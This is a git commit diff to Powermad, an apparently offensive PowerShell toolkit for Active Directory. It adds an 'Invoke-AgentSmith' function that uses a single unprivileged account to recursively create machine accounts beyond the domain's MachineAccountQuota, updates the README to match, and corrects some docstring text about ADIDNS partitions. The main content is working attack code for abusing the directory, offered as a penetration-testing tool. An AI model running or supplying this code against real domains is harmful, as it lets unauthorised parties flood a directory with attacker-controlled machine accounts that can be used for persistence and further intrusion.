diff options
author | Kevin Robertson <Kevin-Robertson@users.noreply.github.com> | 2019-08-29 10:59:08 -0400 |
---|---|---|
committer | Kevin Robertson <Kevin-Robertson@users.noreply.github.com> | 2019-08-29 10:59:08 -0400 |
commit | 9b54aec728fa2511b22f574d0fe568fc9f082940 (patch) | |
tree | 85a79ab60a036a398192fec2376bbe3172819f11 | |
parent | 3140921747b621bc923302d12734e225abae1822 (diff) | |
download | Powermad-9b54aec728fa2511b22f574d0fe568fc9f082940.tar.gz Powermad-9b54aec728fa2511b22f574d0fe568fc9f082940.zip |
Added Invoke-AgentSmith function
Added the Invoke-AgentSmith function for exceeding the MachineAccountQuota limit through transitive accounts.
-rw-r--r-- | Powermad.ps1 | 226 | ||||
-rw-r--r-- | README.md | 6 |
2 files changed, 212 insertions, 20 deletions
diff --git a/Powermad.ps1 b/Powermad.ps1 index cbb1220..742e886 100644 --- a/Powermad.ps1 +++ b/Powermad.ps1 @@ -544,9 +544,12 @@ function Get-MachineAccountCreator $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher $machine_account_searcher.SearchRoot = $directory_entry - $machine_accounts = $machine_account_searcher.FindAll() | Where-Object {$_.properties.objectcategory -match "CN=computer"} + $machine_account_searcher.PageSize = 1000 + $machine_account_searcher.Filter = '(&(ms-ds-creatorsid=*))' + $machine_account_searcher.SearchScope = 'Subtree' + $machine_accounts = $machine_account_searcher.FindAll() $creator_object_list = @() - + ForEach($account in $machine_accounts) { $creator_SID_object = $account.properties."ms-ds-creatorsid" @@ -576,8 +579,8 @@ function Get-MachineAccountCreator { Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID } - - Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.samaccountname[0] + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.name[0] $creator_object_list += $creator_object $creator_SID_object = $null } @@ -600,6 +603,188 @@ function Get-MachineAccountCreator } +function Invoke-AgentSmith +{ + <# + .SYNOPSIS + This function leverages New-MachineAccount to recursively create as as many machine accounts as possible + from a single unprivileged account through MachineAccountQuota. With a default MachineAccountQuota of 10, + the most common result will be 110 accounts. This is due to the transitive quota of Q + Q * 1 where Q + equals the MachineAccountQuota setting. The transitive quota can often be exceeded to the total number of + created accounts can vary. I wouldn't recommend running this one on a client network unless you have a + good reason. + + .DESCRIPTION + This function leverages New-MachineAccount to recursively create as as many machine accounts as possible + from a single unprivileged account through MachineAccountQuota. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used enumerate machine account creators. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Domain + The targeted domain in netBIOS format. This will be used to create the PSCredential object as the function cycles + through the machine accounts. + + .PARAMETER MachineAccountPrefix + The prefix for the machine account names. The prefix will be incremented by one for each account creation attempt. + + .PARAMETER MachineAccountQuota + The domain's MachineAccountQuota setting. + + .PARAMETER NoWarning + Switch to remove the warning prompt. + + .PARAMETER Password + The securestring of the password for the machine accounts. + + .PARAMETER Sleep + The delay in milliseconds between account creation attempts. + + .EXAMPLE + Invoke-AgentSmith -MachineAccountPrefix test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$NetBIOSDomain, + [parameter(Mandatory=$false)][String]$MachineAccountPrefix = "AgentSmith", + [parameter(Mandatory=$false)][Int]$MachineAccountQuota = 10, + [parameter(Mandatory=$false)][Int]$Sleep = 0, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(Mandatory=$false)][Switch]$NoWarning, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + $i = 0 + $j = 1 + $k = 1 + $MachineAccountQuota-- + + if(!$NoWarning) + { + $confirm_invoke = Read-Host -Prompt "Are you sure you want to do this? (Y/N)" + } + + if(!$Password) + { + $password = Read-Host -Prompt "Enter a password for the new machine accounts" -AsSecureString + } + + if(!$NetBIOSDomain) + { + + try + { + $NetBIOSDomain = (Get-ChildItem -path env:userdomain).Value + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if($confirm_invoke -eq 'Y' -or $NoWarning) + { + + :main_loop while($i -le $MachineAccountQuota) + { + $MachineAccount = $MachineAccountPrefix + $j + + try + { + $output = New-MachineAccount -MachineAccount $MachineAccount -Credential $Credential -Password $Password -Domain $Domain -DomainController $DomainController -DistinguishedName $DistinguishedName + + if($output -like "*The server cannot handle directory requests*") + { + Write-Output "[-] Limit reached with $account" + $switch_account = $true + $j-- + } + else + { + Write-Output $output + $success = $j + } + + } + catch + { + + if($_.Exception.Message -like "*The supplied credential is invalid*") + { + + if($j -gt $success) + { + Write-Output "[-] Machine account $account was not added" + Write-Output "[-] No remaining machine accounts to try" + Write-Output "[+] Total machine accounts added = $($j - 1)" + break main_loop + } + + $switch_account = $true + $j-- + } + else + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + if($i -eq 0) + { + $account = "$NetBIOSDomain\$MachineAccountPrefix" + $k + "$" + } + + if($i -eq $MachineAccountQuota -or $switch_account) + { + Write-Output "[*] Trying machine account $account" + $credential = New-Object System.Management.Automation.PSCredential ($account, $password) + $i = 0 + $k++ + $switch_account = $false + } + else + { + $i++ + } + + $j++ + + Start-Sleep -Milliseconds $Sleep + } + + } + else + { + Write-Output "[-] Function exited without adding machine accounts" + } + +} + function New-MachineAccount { <# @@ -1129,7 +1314,7 @@ function Disable-ADIDNSNode The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER SOASerialNumber The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a @@ -1314,7 +1499,7 @@ function Enable-ADIDNSNode The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Port SRV record port. @@ -1529,7 +1714,7 @@ function Get-ADIDNSNodeAttribute The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. @@ -1679,7 +1864,7 @@ function Get-ADIDNSNodeOwner The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. @@ -1829,7 +2014,7 @@ function Get-ADIDNSNodeTombstoned The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. @@ -1937,7 +2122,8 @@ function Get-ADIDNSNodeTombstoned catch { - if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*') + if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and + $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*') { Write-Output "[-] $($_.Exception.Message)" $directory_entry.Close() @@ -2001,7 +2187,7 @@ function Get-ADIDNSPermission The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. @@ -2223,7 +2409,7 @@ function Get-ADIDNSZone .DESCRIPTION This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will - contain a partition value of either DomainDNSZones,ForestDNSZone, or System. The correct value can be inputed + contain a partition value of either DomainDNSZones,ForestDNSZones, or System. The correct value can be inputed to the Partition parameter for other Powermad ADIDNS functions. .PARAMETER Credential @@ -2240,7 +2426,7 @@ function Get-ADIDNSZone Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Partition - (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. By default, this + (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this function will loop through all three partitions. .PARAMETER Zone @@ -2430,7 +2616,7 @@ function Grant-ADIDNSPermission The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Principal The user or group that will be used for the ACE. @@ -2643,7 +2829,7 @@ function New-ADIDNSNode The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Port SRV record port. @@ -3371,7 +3557,7 @@ function Rename-ADIDNSNode The new ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. @@ -3519,7 +3705,7 @@ function Remove-ADIDNSNode The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Zone The ADIDNS zone. @@ -3672,7 +3858,7 @@ function Revoke-ADIDNSPermission The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Principal The ACE user or group. @@ -3872,7 +4058,7 @@ function Set-ADIDNSNodeAttribute The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Value The attribute value. @@ -4039,7 +4225,7 @@ function Set-ADIDNSNodeOwner The ADIDNS node name. .PARAMETER Partition - Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Principal The user or group that will be granted ownsership. @@ -118,6 +118,12 @@ Here is a list of some of the usual write access enabled attributes: * Use the modified account with runas /netonly `runas /netonly /user:domain\test powershell` +### Invoke-AgentSmith + +This function leverages New-MachineAccount to recursively create as as many machine accounts as possible from a single unprivileged account through MachineAccountQuota. See the following blog post for details: + +* https://blog.netspi.com/machineaccountquota-transitive-quota + ## DNS Functions By default, authenticated users have the 'Create all child objects' permission on the Active Directory-Integrated DNS (ADIDNS) zone. Most records that do not currently exist in an AD zone can be added/deleted. |